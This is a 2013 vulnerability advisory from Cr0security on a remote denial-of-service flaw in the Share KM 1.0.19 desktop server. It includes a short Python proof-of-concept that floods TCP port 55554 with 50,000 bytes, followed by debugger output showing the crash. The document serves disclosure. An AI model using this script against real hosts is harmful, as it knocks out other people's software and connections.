Advisory Information : ====================== Title : Share KM 1.0.19 - Remote Denial Of Service Advisory ID : Cr02013-001 Product : Share KM desktop setup file Vendor : SmartUX Vulnerable Version(s) : 1.0.19 and probably prior release Tested Version : 1.0.19 Tested On : Windows 7 Vulnerability Type / CWE ID : Improper Resource Shutdown or Release / [CWE-404] Risk Level : High CVSSv2 Base Score : 9.7 (AV:N/AC:L/Au:N/C:N/I:P/A:C/E:F/RL:U/RC:C/CDP:LM/TD:H/CR:L/IR:L/AR:H) Discovered By : Yuda (gunslinger_) Prawira of cr0security - yuda[at]cr0security.com - http://www.cr0security.com Introduction : ============== Share Keyboard & Mouse (Beta) Control your Droid from your desktop with MOUSE and KEYBOARD. Just like a Synergy. # ShareKM is a very handy tool for Android that lets you share your computer's Mouse, Keyboard and Clipboard. You can download PC app at http://goo.gl/khfEb. - Based on / Copied from : https://play.google.com/store/apps/details?id=com.liveov.skm&hl=en Advisory Details: ================= Share KM suffers from Remote Denial Of Service (DOS). The Attacker could make Share KM pc Server Crash or disconnect connection while Android client is connected to Share KM server on PC. and the attacker could make Share KM server Crash when user is Showing RTT from notification taskbar. Proof Of Concept : ================== The Attacker run this remote exploit DOS code targeted to remote server host, and the connection between server and android client will be disconected. --- Python Remote DOS code --- #!/usr/bin/python import socket TCP_IP = '192.168.1.100' TCP_PORT = 55554 BUFFER_SIZE = 1024 MESSAGE = "\x41" * 50000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(MESSAGE) s.close() ------------- EOF ------------- And after connection disconected, Show RTT on ShareKM icon in notification taskbar. Application will be crashed. With debugging (Log) : 0:006> g 04:56:44:720 : I Wifi.cpp(50, 0x186C) : accept() call succeeded. CientSocket = [0x220] 04:56:45:203 : W RMISession.cpp(362, 0x186C) : Ctrl.rcpSessionConfig: uinput_flags.3, sdkVer.f, nativeVer 04:56:45:203 : W ProtocolHandler.cpp(30, 0x186C) : sdkver.15, resol: 1024 x 552 04:56:45:204 : I DlgBase.h(143, 0x186C) : onSessionEvent event: wifi client is connected. 04:56:45:205 : I MessageSink.cpp(1096, 0x1F00) : StartInitWindowthread 04:56:45:205 : I MessageSink.cpp(1109, 0x1F00) : StartInitWindowthread default desk 04:56:45:206 : I MessageSink.cpp(210, 0x15E0) : InitWindow called 04:56:45:206 : I MessageSink.cpp(223, 0x15E0) : InitWindow:OpenInputdesktop OK 04:56:45:206 : I MessageSink.cpp(235, 0x15E0) : InitWindow:SelectHDESK to Default (23c) from 28 04:56:45:207 : I MessageSink.cpp(117, 0x15E0) : wmcreate 04:56:45:207 : I MessageSink.cpp(316, 0x15E0) : Load hookdll's 04:56:45:207 : D MessageSink.cpp(341, 0x15E0) : ---trace--- 04:56:45:207 : D MessageSink.cpp(347, 0x15E0) : ---trace--- 04:56:45:207 : D MessageSink.cpp(353, 0x15E0) : ---trace--- 04:56:45:207 : I MessageSink.cpp(357, 0x15E0) : OOOOOOOOOOOO start dispatch 04:56:45:207 : D MessageSink.cpp(360, 0x15E0) : ---trace--- 04:56:45:207 : I MessageSink.cpp(1134, 0x1F00) : StartInitWindowthread started 04:56:45:207 : I RMISession.cpp(68, 0x1F00) : Global message hook is installed. 04:56:52:926 : I MessageSink.cpp(932, 0x15E0) : MessageSink::onKey: Key char= , vk=VK_UP (26), nagr=0, lParam=0x01480001: scan.0148, press extended 04:56:52:927 : I MessageSink.cpp(993, 0x15E0) : modifier.old=2000, new=2000 04:56:53:046 : I MessageSink.cpp(932, 0x15E0) : MessageSink::onKey: Key char= , vk=VK_UP (26), nagr=0, lParam=0x81480001: scan.0148, release extended 04:56:53:046 : I MessageSink.cpp(993, 0x15E0) : modifier.old=2000, new=2000 , vk=VK_RETURN (0d), nagr=0, lParam=0x001c0001: scan.001c, press onKey: Key char= 04:56:53:868 : I MessageSink.cpp(993, 0x15E0) : modifier.old=2000, new=2000 04:56:53:939 : T TSocket.cpp(358, 0x186C) : closesocket(0) 04:56:53:939 : I Wifi.cpp(50, 0x186C) : accept() call succeeded. CientSocket = [0x124] 04:56:53:940 : T TSocket.cpp(358, 0x186C) : closesocket(544) 04:56:53:941 : T TSocket.cpp(553, 0x1F00) : recv: ret.-1, E.10004 04:56:53:941 : I RMISession.cpp(79, 0x1F00) : read error 04:56:53:941 : I MessageSink.cpp(1429, 0x1F00) : unregistered hotkey id=304:56:53:941 : E MessageSink.cpp(1051, 0x1F00) : enter from MessageSink destructor. 04:56:53:941 : I MSWindowsKeyState.cpp(1484, 0x1F00) : ctrl: data.0, real.0/0 04:56:53:941 : T TSocket.cpp(164, 0x186C) : recv error : E.10053 04:56:53:941 : I MessageSink.cpp(932, 0x15E0) : MessageSink::onKey: Key char= , vk=VK_LCONTROL (a2), nagr=0, lParam=0x801d0001: scan.001d, release 04:56:53:941 : E TSocket.cpp(142, 0x186C) : send failed: E.10053 04:56:53:942 : I MessageSink.cpp(993, 0x15E0) : modifier.old=2000, new=2000 04:56:53:942 : I RMISession.cpp(468, 0x186C) : type.1: error flush. STATUS_STACK_BUFFER_OVERRUN encountered (1888.186c): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=01377370 ecx=74f2de28 edx=01fef15d esi=00000000 edi=01a5be50 eip=74f2dca5 esp=01fef3a4 ebp=01fef420 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 kernel32!UnhandledExceptionFilter+0x5f: 74f2dca5 cc int 3 0:002> d esp *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\ShareKM\ShareKM.exe 01fef3a4 60 86 98 5d 50 be a5 01-28 31 38 01 d4 f9 fe 01 `..]P...(18..... 01fef3b4 01 00 00 00 00 00 00 00-78 01 48 00 00 00 00 00 ........x.H..... 01fef3c4 50 01 48 00 34 f4 fe 01-a2 43 c7 74 38 1e 4c 00 P.H.4....C.t8.L. 01fef3d4 50 28 4c 00 1c f4 fe 01-2c 00 00 00 00 00 00 00 P(L.....,....... 01fef3e4 5c f4 00 01 50 28 4c 00-60 01 00 00 40 f4 01 01 \...P(L.`...@... 01fef3f4 01 00 00 00 00 00 00 00-00 00 00 00 06 00 00 00 ................ 01fef404 00 00 00 00 a4 f3 fe 01-00 65 36 77 d8 f9 fe 01 .........e6w.... 01fef414 6a 9b f5 74 48 7a 97 28-00 00 00 00 54 f7 fe 01 j..tHz.(....T... 0:002> g eax=00000000 ebx=74c5a256 ecx=00000000 edx=00000000 esi=0000004e edi=0386f42c eip=77357094 esp=0386f2e0 ebp=0386f2f0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ntdll!KiFastSystemCallRet: 77357094 c3 ret 0:007> Report-Timeline : ================= 21/09/2013 : Vendor Contacted / No response. 22/09/2013 : Public Disclosure. Remediation : ============= There isn't remediation step from the Vendor until this Public Disclosure. References : ============ - Common Weakness Enumeration (CWE) - http://cwe.mitre.org - Share KM - https://sites.google.com/site/droidskm/ - SmartUX Vendor - https://play.google.com/store/apps/developer?id=SmartUX About Cr0security : =================== Cr0security is a company that moved on "Information and Technologies" especially on Computer Security System, Network Security, and Secure Computer Application Development. with a reference to the publics needs of using the information system technology with better security, Cr0security ready to help you to reach secure point and creating a comfortable moment while you are perform any activities through your networks or computers at once. In computer software development we also implement the "Secure Programming". so security of the applications, the data, and the computer will be strictly maintained. Beside we can act as your Consultant, We can act as your partner to achieve the best solution. Contact Cr0security : ===================== Email : info[at]cr0security.com Website : http://www.cr0security.com Disclaimer : ============ The information provided in this advisory is provided "as is" without warranty of any kind. Cr0security disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Cr0security or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Cr0security or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.